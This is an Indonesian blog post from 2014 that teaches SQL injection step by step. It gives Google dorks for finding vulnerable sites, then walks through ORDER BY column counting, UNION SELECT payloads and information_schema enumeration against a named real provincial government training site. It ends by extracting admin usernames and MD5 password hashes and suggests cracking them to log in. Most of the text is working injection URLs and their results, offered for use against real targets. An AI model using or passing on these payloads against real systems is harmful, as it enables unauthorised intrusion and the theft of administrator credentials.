Tuesday, 6 May 2014
Tehnik Sql Injection
SQL Injection merupakan sebuah teknik
hacking dimana seorang penyerang dapat
memasukkan perintah-perintah SQL
melalui url untuk dieksekusi oleh
database. Penyebab utama dari celah ini
adalah variable yang kurang di filter :
id=$id;……. > Got Error
Hal pertama yang harus kita lakukan
adalah mengetahui apakah situs tersebut
terkena celah SQL Injection atau tidak,
yaitu dengan membuat sebuah error
dengan menambahkan karakter ‘ setelah
atau sesudah angka pada url.
Contoh :
http://situstarget.com/news.php?id=1 ’
atau
http://situstarget.com/news.php?id =’1
Pertama kita cari dulu website yang
memiliki celah SQL Injection. silahkan
sobat cari target di google dengan
menggunakan dork.
Dork SQLi :
inurl:azerty.php?id= ,
inurl:bouquin.php?id= ,
inurl:lien.php?id= ,
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
Disini saya sudah menemukan targetnya :
http://diklat.lampungprov.go.id/
more.php?id=1
Kemudian kita akan mencari dan
menghitung jumlah tabel yang ada pada
database web tersebut. silahkan sobat
gunakan perintah : order by 1 - dan
seterusnya sampai terjadi error pada
halaman. gunaka tanda + sebagai spasi,
dan pada akhir perintah gunakan tanda --.
http://diklat.lampungprov.go.id/
more.php?id=1+order+by+1-- < No Error
http://diklat.lampungprov.go.id/
more.php?id=1+order+by+2-- < No Error
http://diklat.lampungprov.go.id/
more.php?id=1+order+by+3-- < No Error
http://diklat.lampungprov.go.id/
more.php?id=1+order+by+4-- < No Error
http://diklat.lampungprov.go.id/
more.php?id=1+order+by+5-- < No Error
[Terlalu banyak diSkip aja]
http://diklat.lampungprov.go.id/
more.php?id=1+order+by+17-- < No Error
http://diklat.lampungprov.go.id/
more.php?id=1+order+by+18-- < Error
Pada angka 18 ternyata muncul error, jadi
yang kita ambil angka sebelum
munculnya pesan error. itu berarti jumlah
tabel pada databasenya ada 17.
Selanjutnya kita akan mencari angka tabel
yang bisa kita gunakan untuk perintah2
injection pada tahap selanjutnya. Gunakan
perintah union select diikuti jumlah tabel
dan tanda - sebelum angka dan diakhiri
dengan tanda --.
contoh:
http://diklat.lampungprov.go.id/
more.php?id=-1+union+select
+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
Disini bisa kita lihat bahwa angka yang
muncul yaitu 16 dan 17. kedua angka
tersebut nantinya yang akan kita
masukkan perintah2 selanjutnya.
Pada tahap Selanjutnya kita akan
mengetahui versi database yang dipakai
oleh web tersebut. gunakan perintah
"version()" atau "@@version" .
contoh:
http://diklat.lampungprov.go.id/
more.php?id=-1+union+select
+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17-
Nah pada gambar kita bisa lihat versi
database yang dipake adalah v.5.5.14 , jadi
pada versi 5 itu berberda dengan versi 4.
prosesnya lebih repot pada versi 4, karena
untuk melakukan perintah2 SQLi pada
versi 4 kita harus menebak 1 per 1 tabel
yang ada pada databasenya.
Sekarang perintah selanjutnya kita akan
memunculkan nama-nama tabel yang ada
pada web tersebut. gunakan perintah
“group_concat(table_name) ” dan
menambahkan perintah “ from
+information_schema.tables+where
+table_schema=database() " sesudah angka
terakhir, dan diakhiri dengan tanda --.
contoh :
http://diklat.lampungprov.go.id/
more.php?id=-1+union+select
+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat
(table_name),17+from
+information_schema.tables+where
+table_schema=database()--
Disitu kita dapatkan nama-nama tabelnya
sperti : tbadmin, tbbukutamu, tbcontent,
tbcounter, tbdivisi, tbgolongan, tbjadwal,
dll. Langkah selanjutnya kita akan
mencari username dan password admin
pada tabel tbadmin. Perlu diketahui
bahwa tidak semua nama tabel pada
setiap web itu sama, jadi untuk mencari
tabel admin, silahkan sobat kira-kira saja
dimana tabel yang sobat curigai tempat
username dan password admin berada.
Kemudian untuk mengeluarkan isi yang
ada pada kolom tbadmin gunakan
perintah berikut:
“group_concat(columns_name) ” dan
perintah “from
+information_schema.columns+where
+table_name=CHAR() " sesudah angka
terakhir, dan diakhiri dengan tanda --.
Pada tahap ini nama tabel tbadmin harus
dikonversi dulu ke bentuk decimal :)
silahkan sobat gunakan toolsnya DISINI.
kemudian hasil konversi tbadmin adalah
116 98 97 100 109 105 110 lalu kita
masukkan ke CHAR(116, 98, 97, 100, 109,
105, 110) dan pisahkan dengan koma. jadi
perintahnya seperti berikut:
http://diklat.lampungprov.go.id/
more.php?id=-1+union+select
+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat
(column_name),17+from
+information_schema.columns+where
+table_name=CHAR(116, 98, 97, 100, 109,
105, 110)--
Nah disitu muncul kolom username,
pswd, status. lalu langkah selanjutnya kita
akan melihat isi dari kolom kolom yang
muncul tadi dengan menambah perintah
group_concat
(username,0x3a,pswd,0x3a,status) .
jangan lupa di setiap sela2 tambahkan
kode 0x3a yg merupakan hasil konversi
hexa dari tanda titik dua ( : ). lalu
tambahkan perintah +from+tbadmin--,
tbadmin merupakan tabel yang kita
dapatkan tadi.
http://diklat.lampungprov.go.id /
more.php?id=-1+union+select
+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat
(username,0x3a,pswd,0x3a,status),17+from
+tbadmin--
Nah kan udah keliatan username dan
passwordnya.. :)
dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b
selanjutnya sobat tinggal mengcrack
password yang berbentuk md5 hash
tersebut. untuk mengcracknya silahkan
gunakan toolsnya disini .
Selanjutnya tinggal mencari halaman
logginnya. kalo semua sudah ketemu,
tinggal loggin aja, jebreet jebreet
jebreet :D
Saya kira hanya begitu saja, kurang lebih
mohon maaf.. kalo ada kesalahan mohon
diperbaiki :) wassalam :*
Post a Comment